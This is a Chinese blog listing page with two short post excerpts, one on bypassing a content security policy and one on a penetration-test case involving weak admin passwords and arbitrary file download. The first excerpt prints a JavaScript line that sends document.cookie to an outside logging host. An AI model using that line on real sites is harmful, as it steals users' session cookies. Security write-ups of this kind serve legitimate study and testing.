Fork me on GitHub
摘要: 看csp规则,默认是在当前域内,允许执行内联js。如果这是一道ctf的话,就很简单了, window.location.href='http://aa.xxxx.ceye.io?'+document.cookie;能把cookie传出来。 但是要是远程加载js文件是不满足csp规则的。 iframe 阅读全文
posted @ 2020-05-03 14:08 Afant1 阅读(759) 评论(0) 推荐(0) 编辑
摘要: 案例是在最近项目中遇到的俩个站,挺有意思的,所以分享出来。第一个站getshell后,内网简单的看了下,发现不是目标就没深入。 第一个站 1、弱口令 弱口令:admin admin进入网站后台 2、任意文件下载 在系统配置备份模块发现http://xxx.xxx.xxx.xxx/DownloadSe 阅读全文
posted @ 2020-05-03 14:07 Afant1 阅读(917) 评论(0) 推荐(0) 编辑